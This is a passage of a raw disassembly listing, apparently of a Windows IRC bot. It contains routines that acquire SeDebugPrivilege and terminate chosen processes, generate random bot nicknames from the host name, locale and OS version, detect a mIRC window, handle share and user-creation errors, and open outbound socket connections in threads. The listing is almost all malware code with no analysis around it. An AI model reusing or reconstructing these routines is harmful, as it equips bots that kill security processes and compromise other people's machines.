; ---------------------------------------------------------------------------


loc_413BCE:				; CODE XREF: sub_413B75+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413BD8:				; CODE XREF: sub_413B75+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413BE2:				; CODE XREF: sub_413B75+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413BEC:				; CODE XREF: sub_413B75+1Aj
		sub	eax, 7Ch
		jz	short loc_413C19
		sub	eax, 7C8h
		jz	short loc_413C12
		dec	eax
		jz	short loc_413C08
		dec	eax
		jnz	short loc_413C76
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413C08:				; CODE XREF: sub_413B75+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C97
; ---------------------------------------------------------------------------


loc_413C12:				; CODE XREF: sub_413B75+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C19:				; CODE XREF: sub_413B75+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C20:				; CODE XREF: sub_413B75+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C27:				; CODE XREF: sub_413B75+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C60
		jz	short loc_413C59
		sub	eax, 8ADh
		jz	short loc_413C8B
		dec	eax
		dec	eax
		jz	short loc_413C52
		dec	eax
		jz	short loc_413C4B
		dec	eax
		dec	eax
		jnz	short loc_413C76
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C4B:				; CODE XREF: sub_413B75+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C52:				; CODE XREF: sub_413B75+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C59:				; CODE XREF: sub_413B75+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C60:				; CODE XREF: sub_413B75+B9j
		sub	eax, 8CAh
		jz	short loc_413C92
		sub	eax, 17h
		jz	short loc_413C8B
		sub	eax, 25h
		jz	short loc_413C84
		sub	eax, 29h
		jz	short loc_413C7D


loc_413C76:				; CODE XREF: sub_413B75+35j
					; sub_413B75+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C7D:				; CODE XREF: sub_413B75+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C84:				; CODE XREF: sub_413B75+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C8B:				; CODE XREF: sub_413B75+C2j
					; sub_413B75+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------


loc_413C92:				; CODE XREF: sub_413B75+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413C97:				; CODE XREF: sub_413B75+40j
					; sub_413B75+4Aj ...
		push	offset dword_468C00
		call	sub_4154E7
		pop	ecx
		mov	eax, offset dword_468C00
		pop	ecx
		retn
sub_413B75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CA9	proc near		; CODE XREF: sub_40CE55+20FBp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179F9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_42113C	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179F9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179DC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43A3A8
		test	eax, eax
		jnz	short loc_413D39
		mov	esi, offset dword_4689FC
		push	offset dword_437418
		push	esi
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_413D62
; ---------------------------------------------------------------------------


loc_413D39:				; CODE XREF: sub_413CA9+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B75
		pop	ecx
		mov	esi, offset dword_4689FC
		push	eax
		push	offset dword_4373DC
		push	esi
		call	sub_4154E7
		add	esp, 14h


loc_413D62:				; CODE XREF: sub_413CA9+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413CA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D67	proc near		; CODE XREF: sub_409DF3+7p
					; sub_413DD2+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_43A37C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_413D86
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D86:				; CODE XREF: sub_413D67+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43A354	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_413DC4
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413DAD
		or	[ebp+var_8], 2
		jmp	short loc_413DB1
; ---------------------------------------------------------------------------


loc_413DAD:				; CODE XREF: sub_413D67+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413DB1:				; CODE XREF: sub_413D67+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43A404	; AdjustTokenPrivileges
		mov	esi, eax


loc_413DC4:				; CODE XREF: sub_413D67+32j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DD2	proc near		; CODE XREF: sub_40CE55+47D9p
					; sub_413F83+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43A3B8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F7C
		cmp	dword_43A39C, ebx
		jz	loc_413F7C
		cmp	dword_43A2B8, ebx
		jz	loc_413F7C
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43A3B8	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F6F
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43A39C	; Process32First
		mov	esi, dword_42106C
		test	eax, eax
		jz	loc_413F6A


loc_413E75:				; CODE XREF: sub_413DD2+BEj
					; sub_413DD2+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43A2B8	; Process32Next
		test	eax, eax
		jz	loc_413F6A
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E75
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F22
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E75
		push	[ebp+var_124]
		push	8
		call	dword_43A3B8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EDF
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43A264	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413EE5
		lea	eax, [ebp+var_230]
		jmp	short loc_413EEB
; ---------------------------------------------------------------------------


loc_413EDF:				; CODE XREF: sub_413DD2+EBj
		push	[ebp+var_124]


loc_413EE5:				; CODE XREF: sub_413DD2+103j
		lea	eax, [ebp+var_108]


loc_413EEB:				; CODE XREF: sub_413DD2+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	loc_413E75
; ---------------------------------------------------------------------------


loc_413F22:				; CODE XREF: sub_413DD2+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E75
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413F65
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413F7C
; ---------------------------------------------------------------------------


loc_413F65:				; CODE XREF: sub_413DD2+18Cj
		push	1
		pop	eax
		jmp	short loc_413F7E
; ---------------------------------------------------------------------------


loc_413F6A:				; CODE XREF: sub_413DD2+9Dj
					; sub_413DD2+B5j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_413F6F:				; CODE XREF: sub_413DD2+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx


loc_413F7C:				; CODE XREF: sub_413DD2+3Aj
					; sub_413DD2+46j ...
		xor	eax, eax


loc_413F7E:				; CODE XREF: sub_413DD2+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F83	proc near		; DATA XREF: sub_40CE55+538Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_4374E8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FE2
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h


loc_413FE2:				; CODE XREF: sub_413F83+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DD2
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41400A
		push	offset dword_4374AC
		jmp	short loc_41400F
; ---------------------------------------------------------------------------


loc_41400A:				; CODE XREF: sub_413F83+7Ej
		push	offset dword_437474


loc_41400F:				; CODE XREF: sub_413F83+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414042
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h


loc_414042:				; CODE XREF: sub_413F83+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B16D
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_413F83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414061	proc near		; CODE XREF: sub_40CE55+477Bp
					; sub_4150CE+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_414093
		push	0
		push	esi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_414093
		push	esi
		xor	edi, edi
		call	dword_42106C	; CloseHandle


loc_414093:				; CODE XREF: sub_414061+1Aj
					; sub_414061+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414061	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414098	proc near		; CODE XREF: sub_4036D4+Ap
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415543
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421668
		call	sub_415F8C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414098	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140C8	proc near		; CODE XREF: sub_414433+49p
					; DATA XREF: .nsp0:off_437530o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_42C228
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414121


loc_4140FB:				; CODE XREF: sub_4140C8+57j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4140FB


loc_414121:				; CODE XREF: sub_4140C8+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_414126	proc near		; CODE XREF: sub_40CE55+3D4Ep

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C1A0
		test	esi, esi
		jle	short loc_414169


loc_414153:				; CODE XREF: sub_414126+41j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414153


loc_414169:				; CODE XREF: sub_414126+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414126	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_43758C
		push	eax
		push	esi
		call	dword_42113C	; GetComputerNameA
		movsx	eax, byte_43758C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_4141AF:				; CODE XREF: .nsp0:004141BAj
		cmp	eax, ecx
		jnz	short loc_4141B6
		mov	[ebp-4], edx


loc_4141B6:				; CODE XREF: .nsp0:004141B1j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4141AF
		push	61h
		pop	ecx


loc_4141BF:				; CODE XREF: .nsp0:004141CAj
		cmp	eax, ecx
		jnz	short loc_4141C6
		mov	[ebp-4], edx


loc_4141C6:				; CODE XREF: .nsp0:004141C1j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141BF
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C1A0, esi
		jle	short loc_41420B


loc_4141E5:				; CODE XREF: .nsp0:00414209j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_4141E5


loc_41420B:				; CODE XREF: .nsp0:004141E3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437590
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414280


loc_41425A:				; CODE XREF: .nsp0:0041427Ej
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_41425A


loc_414280:				; CODE XREF: .nsp0:00414258j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438FBC
		mov	dword ptr [ebp-94h], 94h
		call	dword_42110C	; GetVersionExA
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41430A
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142EA
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142DA
		mov	esi, offset a95	; "95"


loc_4142DA:				; CODE XREF: .nsp0:004142D3j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414346
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_4142EA:				; CODE XREF: .nsp0:004142CAj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142FA
		mov	esi, offset a98	; "98"
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_4142FA:				; CODE XREF: .nsp0:004142F1j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414341
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_41430A:				; CODE XREF: .nsp0:004142C1j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414341
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414323
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_414323:				; CODE XREF: .nsp0:0041431Aj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414333
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_414333:				; CODE XREF: .nsp0:0041432Aj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43759C
		jz	short loc_414346


loc_414341:				; CODE XREF: .nsp0:00414301j
					; .nsp0:00414311j
		mov	esi, offset dword_42B7D0


loc_414346:				; CODE XREF: .nsp0:004142E1j
					; .nsp0:004142E8j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_437594
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_41438A


loc_414364:				; CODE XREF: .nsp0:00414388j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_437584
		push	1Ch
		push	edi
		call	sub_415A6A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C1A0
		jl	short loc_414364


loc_41438A:				; CODE XREF: .nsp0:00414362j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414390	proc near		; CODE XREF: sub_414433+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143DF
		call	dword_43A3A4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4375A8
		jnz	short loc_4143C8
		mov	eax, offset byte_438FBC


loc_4143C8:				; CODE XREF: sub_414390+31j
		push	eax
		push	esi
		push	offset dword_4375A0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_4143FF
; ---------------------------------------------------------------------------


loc_4143DF:				; CODE XREF: sub_414390+22j
		call	dword_43A3A4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4375A8
		jnz	short loc_4143F3
		mov	eax, offset byte_438FBC


loc_4143F3:				; CODE XREF: sub_414390+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_4143FF:				; CODE XREF: sub_414390+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_41442E
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416F10
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		add	esp, 18h


loc_41442E:				; CODE XREF: sub_414390+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414433	proc near		; CODE XREF: sub_40CB75+7Fp
					; sub_40CCDD+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43752C


loc_41443F:				; CODE XREF: sub_414433+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_41445A
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_415910
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_414464
; ---------------------------------------------------------------------------


loc_41445A:				; CODE XREF: sub_414433+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_414464:				; CODE XREF: sub_414433+25j
		test	eax, eax
		jnz	short loc_414476
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437590
		jl	short loc_41443F
		jmp	short loc_414484
; ---------------------------------------------------------------------------


loc_414476:				; CODE XREF: sub_414433+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_437530[eax*4]
		pop	ecx


loc_414484:				; CODE XREF: sub_414433+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_414497
		push	[ebp+arg_0]
		call	sub_414390
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414497:				; CODE XREF: sub_414433+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41449C	proc near		; DATA XREF: sub_414569+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43A398	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43A418	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41455A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43F534[ecx], esi
		jz	short loc_41455A
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43A424	; inet_ntoa
		push	eax
		mov	edi, offset dword_469264
		push	offset unk_4375AC
		push	edi
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D4C
		push	edi
		call	sub_40B16D
		add	esp, 28h


loc_41455A:				; CODE XREF: sub_41449C+5Dj
					; sub_41449C+7Ej
		push	esi
		call	dword_43A430	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_41449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_414569	proc near		; DATA XREF: sub_40CE55+34B1o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_414597:				; CODE XREF: sub_414569+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4375E8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43F328
		push	eax
		call	sub_416D40
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_41449C
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414603


loc_4145F8:				; CODE XREF: sub_414569+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_414603
		push	32h
		call	esi	; Sleep
		jmp	short loc_4145F8
; ---------------------------------------------------------------------------


loc_414603:				; CODE XREF: sub_414569+8Dj
					; sub_414569+92j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
